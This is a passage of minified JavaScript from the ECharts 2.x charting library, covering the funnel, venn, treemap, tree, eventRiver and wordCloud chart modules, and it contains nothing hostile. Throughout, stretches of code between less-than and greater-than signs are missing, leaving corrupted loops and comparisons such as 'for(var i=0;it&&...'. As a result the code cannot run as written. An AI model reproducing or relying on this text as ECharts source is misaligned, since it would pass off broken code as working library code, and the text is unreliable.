r({zlevel:t.zlevel,z:t.z+(Math.abs(m+i.width/2-l.center[0])+Math.abs(V+i.height/2-l.center[1])r;r++)o.push([a[r][0]*n+i,a[r][1]]);this._paramsMap[e].colorArray=o},_getColor:function(e,t){null==t&&(t=this._getValue(e));for(var i=this._paramsMap[e].colorArray,n=0,a=i.length;a>n;n++)if(i[n][0]>=t)return i[n][1];return i[i.length-1][1]},_getSector:function(e,t,i,n,a,o,r,s,h){return new l({zlevel:s,z:h,hoverable:!1,style:{x:e[0],y:e[1],r0:t,r:i,startAngle:n,endAngle:a,brushType:"fill",color:o,shadowColor:r.shadowColor,shadowBlur:r.shadowBlur,shadowOffsetX:r.shadowOffsetX,shadowOffsetY:r.shadowOffsetY}})},_getLabelText:function(e,t){if(e){if("function"==typeof e)return e.call(this.myChart,t);if("string"==typeof e)return e.replace("{value}",t)}return t},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()}},U.inherits(t,i),e("../chart").define("gauge",t),t}),i("echarts/util/shape/GaugePointer",["require","zrender/shape/Base","zrender/tool/util","./normalIsCover"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/tool/util");return t.prototype={type:"gauge-pointer",buildPath:function(e,t){var i=t.r,n=t.width,a=t.angle,o=t.x-Math.cos(a)*n*(n>=i/3?1:2),r=t.y+Math.sin(a)*n*(n>=i/3?1:2);a=t.angle-Math.PI/2,e.moveTo(o,r),e.lineTo(t.x+Math.cos(a)*n,t.y-Math.sin(a)*n),e.lineTo(t.x+Math.cos(t.angle)*i,t.y-Math.sin(t.angle)*i),e.lineTo(t.x-Math.cos(a)*n,t.y+Math.sin(a)*n),e.lineTo(o,r)},getRect:function(e){if(e.__rect)return e.__rect;var t=2*e.width,i=e.x,n=e.y,a=i+Math.cos(e.angle)*e.r,o=n-Math.sin(e.angle)*e.r;return e.__rect={x:Math.min(i,a)-t,y:Math.min(n,o)-t,width:Math.abs(i-a)+t,height:Math.abs(n-o)+t},e.__rect},isCover:e("./normalIsCover")},n.inherits(t,i),t}),i("echarts/chart/funnel",["require","./base","zrender/shape/Text","zrender/shape/Line","zrender/shape/Polygon","../config","../util/ecData","../util/number","zrender/tool/util","zrender/tool/color","zrender/tool/area","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Line"),o=e("zrender/shape/Polygon"),r=e("../config");r.funnel={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,x:80,y:60,x2:80,y2:60,min:0,max:100,minSize:"0%",maxSize:"100%",sort:"descending",gap:0,funnelAlign:"center",itemStyle:{normal:{borderColor:"#fff",borderWidth:1,label:{show:!0,position:"outer"},labelLine:{show:!0,length:10,lineStyle:{width:1,type:"solid"}}},emphasis:{borderColor:"rgba(0,0,0,0)",borderWidth:1,label:{show:!0},labelLine:{show:!0}}}};var s=e("../util/ecData"),l=e("../util/number"),h=e("zrender/tool/util"),m=e("zrender/tool/color"),V=e("zrender/tool/area");return t.prototype={type:r.CHART_TYPE_FUNNEL,_buildShape:function(){var e=this.series,t=this.component.legend;this._paramsMap={},this._selected={},this.selectedMap={};for(var i,n=0,a=e.length;a>n;n++)if(e[n].type===r.CHART_TYPE_FUNNEL){if(e[n]=this.reformOption(e[n]),this.legendHoverLink=e[n].legendHoverLink||this.legendHoverLink,i=e[n].name||"",this.selectedMap[i]=t?t.isSelected(i):!0,!this.selectedMap[i])continue;this._buildSingleFunnel(n),this.buildMark(n)}this.addShapeList()},_buildSingleFunnel:function(e){var t=this.component.legend,i=this.series[e],n=this._mapData(e),a=this._getLocation(e);this._paramsMap[e]={location:a,data:n};for(var o,r=0,s=[],h=0,m=n.length;m>h;h++)o=n[h].name,this.selectedMap[o]=t?t.isSelected(o):!0,this.selectedMap[o]&&!isNaN(n[h].value)&&(s.push(n[h]),r++);if(0!==r){for(var V,U,d,p,c=this._buildFunnelCase(e),u=i.funnelAlign,y=i.gap,g=r>1?(a.height-(r-1)*y)/r:a.height,b=a.y,f="descending"===i.sort?this._getItemWidth(e,s[0].value):l.parsePercent(i.minSize,a.width),k="descending"===i.sort?1:0,x=a.centerX,_=[],h=0,m=s.length;m>h;h++)if(o=s[h].name,this.selectedMap[o]&&!isNaN(s[h].value)){switch(V=m-2>=h?this._getItemWidth(e,s[h+k].value):"descending"===i.sort?l.parsePercent(i.minSize,a.width):l.parsePercent(i.maxSize,a.width),u){case"left":U=a.x;break;case"right":U=a.x+a.width-f;break;default:U=x-f/2}d=this._buildItem(e,s[h]._index,t?t.getColor(o):this.zr.getColor(s[h]._index),U,b,f,V,g,u),b+=g+y,p=d.style.pointList,_.unshift([p[0][0]-10,p[0][1]]),_.push([p[1][0]+10,p[1][1]]),0===h&&(0===f?(p=_.pop(),"center"==u&&(_[0][0]+=10),"right"==u&&(_[0][0]=p[0]),_[0][1]-="center"==u?10:15,1==m&&(p=d.style.pointList)):(_[_.length-1][1]-=5,_[0][1]-=5)),f=V}c&&(_.unshift([p[3][0]-10,p[3][1]]),_.push([p[2][0]+10,p[2][1]]),0===f?(p=_.pop(),"center"==u&&(_[0][0]+=10),"right"==u&&(_[0][0]=p[0]),_[0][1]+="center"==u?10:15):(_[_.length-1][1]+=5,_[0][1]+=5),c.style.pointList=_)}},_buildFunnelCase:function(e){var t=this.series[e];if(this.deepQuery([t,this.option],"calculable")){var i=this._paramsMap[e].location,n=10,a={hoverable:!1,style:{pointListd:[[i.x-n,i.y-n],[i.x+i.width+n,i.y-n],[i.x+i.width+n,i.y+i.height+n],[i.x-n,i.y+i.height+n]],brushType:"stroke",lineWidth:1,strokeColor:t.calculableHolderColor||this.ecTheme.calculableHolderColor||r.calculableHolderColor}};return s.pack(a,t,e,void 0,-1),this.setCalculable(a),a=new o(a),this.shapeList.push(a),a}},_getLocation:function(e){var t=this.series[e],i=this.zr.getWidth(),n=this.zr.getHeight(),a=this.parsePercent(t.x,i),o=this.parsePercent(t.y,n),r=null==t.width?i-a-this.parsePercent(t.x2,i):this.parsePercent(t.width,i);return{x:a,y:o,width:r,height:null==t.height?n-o-this.parsePercent(t.y2,n):this.parsePercent(t.height,n),centerX:a+r/2}},_mapData:function(e){function t(e,t){return"-"===e.value?1:"-"===t.value?-1:t.value-e.value}function i(e,i){return-t(e,i)}for(var n=this.series[e],a=h.clone(n.data),o=0,r=a.length;r>o;o++)a[o]._index=o;return"none"!=n.sort&&a.sort("descending"===n.sort?t:i),a},_buildItem:function(e,t,i,n,a,o,r,l,h){var m=this.series,V=m[e],U=V.data[t],d=this.getPolygon(e,t,i,n,a,o,r,l,h);s.pack(d,m[e],e,m[e].data[t],t,m[e].data[t].name),this.shapeList.push(d);var p=this.getLabel(e,t,i,n,a,o,r,l,h);s.pack(p,m[e],e,m[e].data[t],t,m[e].data[t].name),this.shapeList.push(p),this._needLabel(V,U,!1)||(p.invisible=!0);var c=this.getLabelLine(e,t,i,n,a,o,r,l,h);this.shapeList.push(c),this._needLabelLine(V,U,!1)||(c.invisible=!0);var u=[],y=[];return this._needLabelLine(V,U,!0)&&(u.push(c.id),y.push(c.id)),this._needLabel(V,U,!0)&&(u.push(p.id),y.push(d.id)),d.hoverConnect=u,p.hoverConnect=y,d},_getItemWidth:function(e,t){var i=this.series[e],n=this._paramsMap[e].location,a=i.min,o=i.max,r=l.parsePercent(i.minSize,n.width),s=l.parsePercent(i.maxSize,n.width);return(t-a)*(s-r)/(o-a)+r},getPolygon:function(e,t,i,n,a,r,s,l,h){var V,U=this.series[e],d=U.data[t],p=[d,U],c=this.deepMerge(p,"itemStyle.normal")||{},u=this.deepMerge(p,"itemStyle.emphasis")||{},y=this.getItemStyleColor(c.color,e,t,d)||i,g=this.getItemStyleColor(u.color,e,t,d)||("string"==typeof y?m.lift(y,-.2):y);switch(h){case"left":V=n;break;case"right":V=n+(r-s);break;default:V=n+(r-s)/2}var b={zlevel:U.zlevel,z:U.z,clickable:this.deepQuery(p,"clickable"),style:{pointList:[[n,a],[n+r,a],[V+s,a+l],[V,a+l]],brushType:"both",color:y,lineWidth:c.borderWidth,strokeColor:c.borderColor},highlightStyle:{color:g,lineWidth:u.borderWidth,strokeColor:u.borderColor}};return this.deepQuery([d,U,this.option],"calculable")&&(this.setCalculable(b),b.draggable=!0),new o(b)},getLabel:function(e,t,i,a,o,r,s,l,U){var d,p=this.series[e],c=p.data[t],u=this._paramsMap[e].location,y=h.merge(h.clone(c.itemStyle)||{},p.itemStyle),g="normal",b=y[g].label,f=b.textStyle||{},k=y[g].labelLine.length,x=this.getLabelText(e,t,g),_=this.getFont(f),L=i;b.position=b.position||y.normal.label.position,"inner"===b.position||"inside"===b.position||"center"===b.position?(d=U,L=Math.max(r,s)/2>V.getTextWidth(x,_)?"#fff":m.reverse(i)):d="left"===b.position?"right":"left";var W={zlevel:p.zlevel,z:p.z+1,style:{x:this._getLabelPoint(b.position,a,u,r,s,k,U),y:o+l/2,color:f.color||L,text:x,textAlign:f.align||d,textBaseline:f.baseline||"middle",textFont:_}};return g="emphasis",b=y[g].label||b,f=b.textStyle||f,k=y[g].labelLine.length||k,b.position=b.position||y.normal.label.position,x=this.getLabelText(e,t,g),_=this.getFont(f),L=i,"inner"===b.position||"inside"===b.position||"center"===b.position?(d=U,L=Math.max(r,s)/2>V.getTextWidth(x,_)?"#fff":m.reverse(i)):d="left"===b.position?"right":"left",W.highlightStyle={x:this._getLabelPoint(b.position,a,u,r,s,k,U),color:f.color||L,text:x,textAlign:f.align||d,textFont:_,brushType:"fill"},new n(W)},getLabelText:function(e,t,i){var n=this.series,a=n[e],o=a.data[t],r=this.deepQuery([o,a],"itemStyle."+i+".label.formatter");return r?"function"==typeof r?r.call(this.myChart,{seriesIndex:e,seriesName:a.name||"",series:a,dataIndex:t,data:o,name:o.name,value:o.value}):"string"==typeof r?r=r.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}").replace("{a0}",a.name).replace("{b0}",o.name).replace("{c0}",o.value):void 0:o.name},getLabelLine:function(e,t,i,n,o,r,s,l,m){var V=this.series[e],U=V.data[t],d=this._paramsMap[e].location,p=h.merge(h.clone(U.itemStyle)||{},V.itemStyle),c="normal",u=p[c].labelLine,y=p[c].labelLine.length,g=u.lineStyle||{},b=p[c].label;b.position=b.position||p.normal.label.position;var f={zlevel:V.zlevel,z:V.z+1,hoverable:!1,style:{xStart:this._getLabelLineStartPoint(n,d,r,s,m),yStart:o+l/2,xEnd:this._getLabelPoint(b.position,n,d,r,s,y,m),yEnd:o+l/2,strokeColor:g.color||i,lineType:g.type,lineWidth:g.width}};return c="emphasis",u=p[c].labelLine||u,y=p[c].labelLine.length||y,g=u.lineStyle||g,b=p[c].label||b,b.position=b.position,f.highlightStyle={xEnd:this._getLabelPoint(b.position,n,d,r,s,y,m),strokeColor:g.color||i,lineType:g.type,lineWidth:g.width},new a(f)},_getLabelPoint:function(e,t,i,n,a,o,r){switch(e="inner"===e||"inside"===e?"center":e){case"center":return"center"==r?t+n/2:"left"==r?t+10:t+n-10;case"left":return"auto"===o?i.x-10:"center"==r?i.centerX-Math.max(n,a)/2-o:"right"==r?t-(a>n?a-n:0)-o:i.x-o;default:return"auto"===o?i.x+i.width+10:"center"==r?i.centerX+Math.max(n,a)/2+o:"right"==r?i.x+i.width+o:t+Math.max(n,a)+o}},_getLabelLineStartPoint:function(e,t,i,n,a){return"center"==a?t.centerX:n>i?e+Math.min(i,n)/2:e+Math.max(i,n)/2},_needLabel:function(e,t,i){return this.deepQuery([t,e],"itemStyle."+(i?"emphasis":"normal")+".label.show")},_needLabelLine:function(e,t,i){return this.deepQuery([t,e],"itemStyle."+(i?"emphasis":"normal")+".labelLine.show")},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()}},h.inherits(t,i),e("../chart").define("funnel",t),t}),i("echarts/chart/eventRiver",["require","./base","../layout/eventRiver","zrender/shape/Polygon","../component/axis","../component/grid","../component/dataZoom","../config","../util/ecData","../util/date","zrender/tool/util","zrender/tool/color","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o);var r=this;r._ondragend=function(){r.isDragend=!0},this.refresh(a)}var i=e("./base"),n=e("../layout/eventRiver"),a=e("zrender/shape/Polygon");e("../component/axis"),e("../component/grid"),e("../component/dataZoom");var o=e("../config");o.eventRiver={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,itemStyle:{normal:{borderColor:"rgba(0,0,0,0)",borderWidth:1,label:{show:!0,position:"inside",formatter:"{b}"}},emphasis:{borderColor:"rgba(0,0,0,0)",borderWidth:1,label:{show:!0}}}};var r=e("../util/ecData"),s=e("../util/date"),l=e("zrender/tool/util"),h=e("zrender/tool/color");return t.prototype={type:o.CHART_TYPE_EVENTRIVER,_buildShape:function(){var e=this.series;this.selectedMap={},this._dataPreprocessing();for(var t=this.component.legend,i=[],a=0;an;n++)if(i[n].type===this.type){e=this.component.xAxis.getAxis(i[n].xAxisIndex||0);for(var o=0,r=i[n].data.length;r>o;o++){t=i[n].data[o].evolution;for(var l=0,h=t.length;h>l;l++)t[l].timeScale=e.getCoord(s.getNewDate(t[l].time)-0),t[l].valueScale=Math.pow(t[l].value,.8)}}this._intervalX=Math.round(this.component.grid.getWidth()/40)},_drawEventRiver:function(){for(var e=this.series,t=0;ta)){for(var o=[],r=[],s=0;a>s;s++)o.push(n[s].timeScale),r.push(n[s].valueScale);var l=[];l.push([o[0],i]);var s=0;for(s=0;a-1>s;s++)l.push([(o[s]+o[s+1])/2,r[s]/-2+i]);for(l.push([(o[s]+(o[s]+t))/2,r[s]/-2+i]),l.push([o[s]+t,i]),l.push([(o[s]+(o[s]+t))/2,r[s]/2+i]),s=a-1;s>0;s--)l.push([(o[s]+o[s-1])/2,r[s-1]/2+i]);return l}},ondragend:function(e,t){this.isDragend&&e.target&&(t.dragOut=!0,t.dragIn=!0,t.needRefresh=!1,this.isDragend=!1)},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()}},l.inherits(t,i),e("../chart").define("eventRiver",t),t}),i("echarts/layout/eventRiver",["require"],function(){function e(e,i,o){function r(e,t){var i=e.importance,n=t.importance;return i>n?-1:n>i?1:0}for(var s=4,l=0;l=e)return[0];for(var t=[];e--;)t.push(0);return t}(),u=c.slice(0),y=[],g=0,b=0,l=0;l.5?.5:1,r=t.y,s=(t.height-n)/i,l=0,h=e.length;h>l;l++){var m=e[l];m.y=r+s*m.y+m._offset*o,delete m.time,delete m.value,delete m.xpx,delete m.ypx,delete m._offset;for(var V=m.evolution,U=0,d=V.length;d>U;U++)V[U].valueScale*=s}}function i(e,t,i,n){if(e===i)throw new Error("x0 is equal with x1!!!");if(t===n)return function(){return t};var a=(t-n)/(e-i),o=(n*e-t*i)/(e-i);return function(e){return a*e+o}}function n(e,t,n){var a=~~t,o=e.time.length;e.xpx=[],e.ypx=[];for(var r,s=0,l=0,h=0,m=0,V=0;o>s;s++){l=~~e.time[s],m=e.value[s]/2,s===o-1?(h=l+a,V=0):(h=~~e.time[s+1],V=e.value[s+1]/2),r=i(l,m,h,V);for(var U=l;h>U;U++)e.xpx.push(U-n),e.ypx.push(r(U))}e.xpx.push(h-n),e.ypx.push(V)}function a(e,t,i){for(var n,a=0,o=t.xpx.length,r=0;o>r;r++)n=i(t,r),a=Math.max(a,n+e[t.xpx[r]]);for(r=0;o>r;r++)n=i(t,r),e[t.xpx[r]]=a+n;return a}return e}),i("echarts/chart/venn",["require","./base","zrender/shape/Text","zrender/shape/Circle","zrender/shape/Path","../config","../util/ecData","zrender/tool/util","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Circle"),o=e("zrender/shape/Path"),r=e("../config");r.venn={zlevel:0,z:1,calculable:!1};var s=e("../util/ecData"),l=e("zrender/tool/util");return t.prototype={type:r.CHART_TYPE_VENN,_buildShape:function(){this.selectedMap={},this._symbol=this.option.symbolList,this._queryTarget,this._dropBoxList=[],this._vennDataCounter=0;for(var e=this.series,t=this.component.legend,i=0;ia[1].value?(t=this.zr.getHeight()/3,i=t*Math.sqrt(a[1].value)/Math.sqrt(a[0].value)):(i=this.zr.getHeight()/3,t=i*Math.sqrt(a[0].value)/Math.sqrt(a[1].value));var o=this.zr.getWidth()/2-t,r=(t+i)/2*Math.sqrt(a[2].value)/Math.sqrt((a[0].value+a[1].value)/2),s=t+i;0!==a[2].value&&(s=this._getCoincideLength(a[0].value,a[1].value,a[2].value,t,i,r,Math.abs(t-i),t+i));var l=o+s,h=this.zr.getHeight()/2;if(this._buildItem(e,0,a[0],o,h,t),this._buildItem(e,1,a[1],l,h,i),0!==a[2].value&&a[2].value!==a[0].value&&a[2].value!==a[1].value){var m=(t*t-i*i)/(2*s)+s/2,V=s/2-(t*t-i*i)/(2*s),U=Math.sqrt(t*t-m*m),d=0,p=0;a[0].value>a[1].value&&o+m>l&&(p=1),a[0].valuel&&(d=1),this._buildCoincideItem(e,2,a[2],o+m,h-U,h+U,t,i,d,p)}},_getCoincideLength:function(e,t,i,n,a,o,r,s){var l=(n*n-a*a)/(2*o)+o/2,h=o/2-(n*n-a*a)/(2*o),m=Math.acos(l/n),V=Math.acos(h/a),U=n*n*Math.PI,d=m*n*n-l*n*Math.sin(m)+V*a*a-h*a*Math.sin(V),p=d/U,c=i/e,u=Math.abs(p/c);return u>.999&&1.001>u?o:.999>=u?(s=o,o=(o+r)/2,this._getCoincideLength(e,t,i,n,a,o,r,s)):(r=o,o=(o+s)/2,this._getCoincideLength(e,t,i,n,a,o,r,s))},_buildItem:function(e,t,i,n,a,o){var r=this.series,l=r[e],h=this.getCircle(e,t,i,n,a,o);if(s.pack(h,l,e,i,t,i.name),this.shapeList.push(h),l.itemStyle.normal.label.show){var m=this.getLabel(e,t,i,n,a,o);s.pack(m,l,e,l.data[t],t,l.data[t].name),this.shapeList.push(m)}},_buildCoincideItem:function(e,t,i,n,a,r,l,h,m,V){var U=this.series,d=U[e],p=[i,d],c=this.deepMerge(p,"itemStyle.normal")||{},u=this.deepMerge(p,"itemStyle.emphasis")||{},y=c.color||this.zr.getColor(t),g=u.color||this.zr.getColor(t),b="M"+n+","+a+"A"+l+","+l+",0,"+m+",1,"+n+","+r+"A"+h+","+h+",0,"+V+",1,"+n+","+a,f={color:y,path:b},k={zlevel:d.zlevel,z:d.z,style:f,highlightStyle:{color:g,lineWidth:u.borderWidth,strokeColor:u.borderColor}};k=new o(k),k.buildPathArray&&(k.style.pathArray=k.buildPathArray(f.path)),s.pack(k,U[e],0,i,t,i.name),this.shapeList.push(k)},getCircle:function(e,t,i,n,o,r){var s=this.series[e],l=[i,s],h=this.deepMerge(l,"itemStyle.normal")||{},m=this.deepMerge(l,"itemStyle.emphasis")||{},V=h.color||this.zr.getColor(t),U=m.color||this.zr.getColor(t),d={zlevel:s.zlevel,z:s.z,clickable:!0,style:{x:n,y:o,r:r,brushType:"fill",opacity:1,color:V},highlightStyle:{color:U,lineWidth:m.borderWidth,strokeColor:m.borderColor}};return this.deepQuery([i,s,this.option],"calculable")&&(this.setCalculable(d),d.draggable=!0),new a(d)},getLabel:function(e,t,i,a,o,r){var s=this.series[e],l=s.itemStyle,h=[i,s],m=this.deepMerge(h,"itemStyle.normal")||{},V="normal",U=l[V].label,d=U.textStyle||{},p=this.getLabelText(t,i,V),c=this.getFont(d),u=m.color||this.zr.getColor(t),y=d.fontSize||12,g={zlevel:s.zlevel,z:s.z,style:{x:a,y:o-r-y,color:d.color||u,text:p,textFont:c,textAlign:"center"}};return new n(g)},getLabelText:function(e,t,i){var n=this.series,a=n[0],o=this.deepQuery([t,a],"itemStyle."+i+".label.formatter");return o?"function"==typeof o?o(a.name,t.name,t.value):"string"==typeof o?(o=o.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}"),o=o.replace("{a0}",a.name).replace("{b0}",t.name).replace("{c0}",t.value)):void 0:t.name},refresh:function(e){e&&(this.option=e,this.series=e.series),this._buildShape()}},l.inherits(t,i),e("../chart").define("venn",t),t}),i("echarts/chart/treemap",["require","./base","zrender/tool/area","zrender/shape/Rectangle","zrender/shape/Text","zrender/shape/Line","../layout/TreeMap","../data/Tree","../config","../util/ecData","zrender/config","zrender/tool/event","zrender/tool/util","zrender/tool/color","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a);var r=this;r._onclick=function(e){return r.__onclick(e)},r.zr.on(V.EVENT.CLICK,r._onclick)}var i=e("./base"),n=e("zrender/tool/area"),a=e("zrender/shape/Rectangle"),o=e("zrender/shape/Text"),r=e("zrender/shape/Line"),s=e("../layout/TreeMap"),l=e("../data/Tree"),h=e("../config");h.treemap={zlevel:0,z:1,calculable:!1,clickable:!0,center:["50%","50%"],size:["80%","80%"],root:"",itemStyle:{normal:{label:{ +show:!0,x:5,y:12,textStyle:{align:"left",color:"#000",fontFamily:"Arial",fontSize:13,fontStyle:"normal",fontWeight:"normal"}},breadcrumb:{show:!0,textStyle:{}},borderWidth:1,borderColor:"#ccc",childBorderWidth:1,childBorderColor:"#ccc"},emphasis:{}}};var m=e("../util/ecData"),V=e("zrender/config"),U=(e("zrender/tool/event"),e("zrender/tool/util")),d=e("zrender/tool/color");return t.prototype={type:h.CHART_TYPE_TREEMAP,refresh:function(e){this.clear(),e&&(this.option=e,this.series=this.option.series),this._treesMap={};for(var t=this.series,i=this.component.legend,n=0;nt.width||e.normal.label.y+U>t.height)&&(h=""):h="",e.emphasis.label.show?(s.x+u>t.width||s.y+y>t.height)&&(p=""):p="";var g={style:{textX:t.x+e.normal.label.x,textY:t.y+e.normal.label.y,text:h,textPosition:"specific",textColor:o.color,textFont:m},highlightStyle:{textX:t.x+e.emphasis.label.x,textY:t.y+e.emphasis.label.y,text:p,textColor:s.color,textPosition:"specific"}};return g},getLabelText:function(e,t,i){return i?"function"==typeof i?i.call(this.myChart,e,t):"string"==typeof i?(i=i.replace("{b}","{b0}").replace("{c}","{c0}"),i=i.replace("{b0}",e).replace("{c0}",t)):void 0:e},_buildChildrenTreemap:function(e,t,i,n){for(var a=i.width*i.height,o=0,r=[],l=0;l ":"")},V),clickable:!0,highlightStyle:p});m.set(u,"seriesIndex",t),m.set(u,"name",a[c]),i+=u.getRect(u.style).width,this.shapeList.push(u)}},__onclick:function(e){var t=e.target;if(t){var i=m.get(t,"seriesIndex"),n=m.get(t,"name"),a=this._treesMap[i],o=a.getNodeById(n);o&&o.children.length&&this._buildTreemap(o,i)}}},U.inherits(t,i),e("../chart").define("treemap",t),t}),i("echarts/layout/TreeMap",["require"],function(){function e(e){({x:e.x,y:e.y,width:e.width,height:e.height});this.x=e.x,this.y=e.y,this.width=e.width,this.height=e.height}return e.prototype.run=function(e){var t=[];return this._squarify(e,{x:this.x,y:this.y,width:this.width,height:this.height},t),t},e.prototype._squarify=function(e,t,i){var n="VERTICAL",a=t.width,o=t.height;t.widthl;l++)r[s].y+=r[l].height}var h={};if("VERTICAL"==n){for(var m=0;ml;l++){var h=i*e[l]/o;a.push({width:s,height:h})}return a},e.prototype._isFirstBetter=function(e,t){var i=e[0].height/e[0].width;i=i>1?1/i:i;var n=t[0].height/t[0].width;return n=n>1?1/n:n,Math.abs(i-1)<=Math.abs(n-1)?!0:!1},e}),i("echarts/data/Tree",["require","zrender/tool/util"],function(e){function t(e,t){this.id=e,this.depth=0,this.height=0,this.children=[],this.parent=null,this.data=t||null}function i(e){this.root=new t(e)}var n=e("zrender/tool/util");return t.prototype.add=function(e){var t=this.children;e.parent!==this&&(t.push(e),e.parent=this)},t.prototype.remove=function(e){var t=this.children,i=n.indexOf(t,e);i>=0&&(t.splice(i,1),e.parent=null)},t.prototype.traverse=function(e,t){e.call(t,this);for(var i=0;it&&(t=n.height)}this.height=t+1},t.prototype.getNodeById=function(e){if(this.id===e)return this;for(var t=0;t0&&this._buildLink(i,e)},this);var n=e.roam===!0||"move"===e.roam,a=e.roam===!0||"scale"===e.roam;this.zr.modLayer(this.getZlevelBase(),{panable:n,zoomable:a}),(this.query("markPoint.effect.show")||this.query("markLine.effect.show"))&&this.zr.modLayer(m.EFFECT_ZLEVEL,{panable:n,zoomable:a}),this.addShapeList()},_buildItem:function(e,t,i){var n=[e.data,t],r=this.deepQuery(n,"symbol"),s=this.deepMerge(n,"itemStyle.normal")||{},l=this.deepMerge(n,"itemStyle.emphasis")||{},h=s.color||this.zr.getColor(),m=l.color||this.zr.getColor(),U=-e.layout.angle||0;e.id===this.tree.root.id&&(U=0);var d="right";Math.abs(U)>=Math.PI/2&&Math.abs(U)<3*Math.PI/2&&(U+=Math.PI,d="left");var p=[U,e.layout.position[0],e.layout.position[1]],c=new a({zlevel:this.getZlevelBase(),z:this.getZBase()+1,rotation:p,clickable:this.deepQuery(n,"clickable"),style:{x:e.layout.position[0]-.5*e.layout.width,y:e.layout.position[1]-.5*e.layout.height,width:e.layout.width,height:e.layout.height,iconType:r,color:h,brushType:"both",lineWidth:s.borderWidth,strokeColor:s.borderColor},highlightStyle:{color:m,lineWidth:l.borderWidth,strokeColor:l.borderColor}});c.style.iconType.match("image")&&(c.style.image=c.style.iconType.replace(new RegExp("^image:\\/\\/"),""),c=new o({rotation:p,style:c.style,highlightStyle:c.highlightStyle,clickable:c.clickable,zlevel:this.getZlevelBase(),z:this.getZBase()})),this.deepQuery(n,"itemStyle.normal.label.show")&&(c.style.text=null==e.data.label?e.id:e.data.label,c.style.textPosition=this.deepQuery(n,"itemStyle.normal.label.position"),"radial"===t.orient&&"inside"!==c.style.textPosition&&(c.style.textPosition=d),c.style.textColor=this.deepQuery(n,"itemStyle.normal.label.textStyle.color"),c.style.textFont=this.getFont(this.deepQuery(n,"itemStyle.normal.label.textStyle")||{})),this.deepQuery(n,"itemStyle.emphasis.label.show")&&(c.highlightStyle.textPosition=this.deepQuery(n,"itemStyle.emphasis.label.position"),c.highlightStyle.textColor=this.deepQuery(n,"itemStyle.emphasis.label.textStyle.color"),c.highlightStyle.textFont=this.getFont(this.deepQuery(n,"itemStyle.emphasis.label.textStyle")||{})),V.pack(c,t,i,e.data,0,e.id),this.shapeList.push(c)},_buildLink:function(e,t){var i=t.itemStyle.normal.lineStyle;if("broken"===i.type)return void this._buildBrokenLine(e,i,t);for(var n=0;nr&&(t=r),r>n&&(n=r)}e.layout.position[0]=e.children.length>0?(t+n)/2:0;var s=this._layerOffsets[e.depth]||0;if(s>e.layout.position[0]){var l=s-e.layout.position[0];this._shiftSubtree(e,l);for(var a=e.depth+1;ai;i++)this._buildTextShape(e[i],0,i);this.addShapeList()},_buildTextShape:function(e,t,i){var a=this.series,o=a[t],s=o.name||"",h=o.data[i],m=[h,o],V=this.component.legend,U=V?V.getColor(s):this.zr.getColor(t),d=this.deepMerge(m,"itemStyle.normal")||{},p=this.deepMerge(m,"itemStyle.emphasis")||{},c=this.getItemStyleColor(d.color,t,i,h)||U,u=this.getItemStyleColor(p.color,t,i,h)||("string"==typeof c?l.lift(c,-.2):c),y=new n({zlevel:o.zlevel,z:o.z,hoverable:!0,clickable:this.deepQuery(m,"clickable"),style:{x:0,y:0,text:e.text,color:c,textFont:[e.style,e.weight,e.size+"px",e.font].join(" "),textBaseline:"alphabetic",textAlign:"center"},highlightStyle:{brushType:p.borderWidth?"both":"fill",color:u,lineWidth:p.borderWidth||0,strokeColor:p.borderColor},position:[e.x,e.y],rotation:[-e.rotate/180*Math.PI,0,0]});r.pack(y,o,t,h,i,h.name),this.shapeList.push(y)}},s.inherits(t,i),e("../chart").define("wordCloud",t),t}),i("echarts/layout/WordCloud",["require","../layout/WordCloudRectZero","zrender/tool/util"],function(e){function t(e){this._init(e)}var i=e("../layout/WordCloudRectZero"),n=e("zrender/tool/util");return t.prototype={start:function(){function e(){p.totalArea=r,U.autoSizeCal.enable&&p._autoCalTextSize(m,r,a,o,U.autoSizeCal.minSize),V.timer&&clearInterval(V.timer),V.timer=setInterval(t,0),t()}function t(){for(var e,t=+new Date,i=m.length;+new Date-t>1,e.y=d[1]>>1,p._cloudSprite(e,m,s),e.hasText&&p._place(n,e,h)&&(l.push(e),e.x-=d[0]>>1,e.y-=d[1]>>1);s>=i&&(p.stop(),p._fixTagPosition(l),V.endcallback(l))}var n=null,a=0,o=0,r=0,s=-1,l=[],h=null,m=this.wordsdata,V=this.defaultOption,U=V.wordletype,d=V.size,p=this,c=new i({type:U.type,width:d[0],height:d[1]});return c.calculate(function(t){n=t.initarr,a=t.maxWit,o=t.maxHit,r=t.area,h=t.imgboard,e()},this),this},_fixTagPosition:function(e){for(var t=this.defaultOption.center,i=0,n=e.length;n>i;i++)e[i].x+=t[0],e[i].y+=t[1]},stop:function(){return this.defaultOption.timer&&(clearInterval(this.defaultOption.timer),this.defaultOption.timer=null),this},end:function(e){return e&&(this.defaultOption.endcallback=e),this},_init:function(e){this.defaultOption={},this._initProperty(e),this._initMethod(e),this._initCanvas(),this._initData(e.data)},_initData:function(e){var t=this,i=t.defaultOption;this.wordsdata=e.map(function(e,n){return e.text=i.text.call(t,e,n),e.font=i.font.call(t,e,n),e.style=i.fontStyle.call(t,e,n),e.weight=i.fontWeight.call(t,e,n),e.rotate=i.rotate.call(t,e,n),e.size=~~i.fontSize.call(t,e,n),e.padding=i.padding.call(t,e,n),e}).sort(function(e,t){return t.value-e.value})},_initMethod:function(e){function t(e){return e.name}function i(){return"sans-serif"}function n(){return"normal"}function a(e){return e.value}function o(){return 0}function r(e){return function(){return e[Math.round(Math.random()*(e.length-1))]}}function s(){return 0}function l(e){var t=e[0]/e[1];return 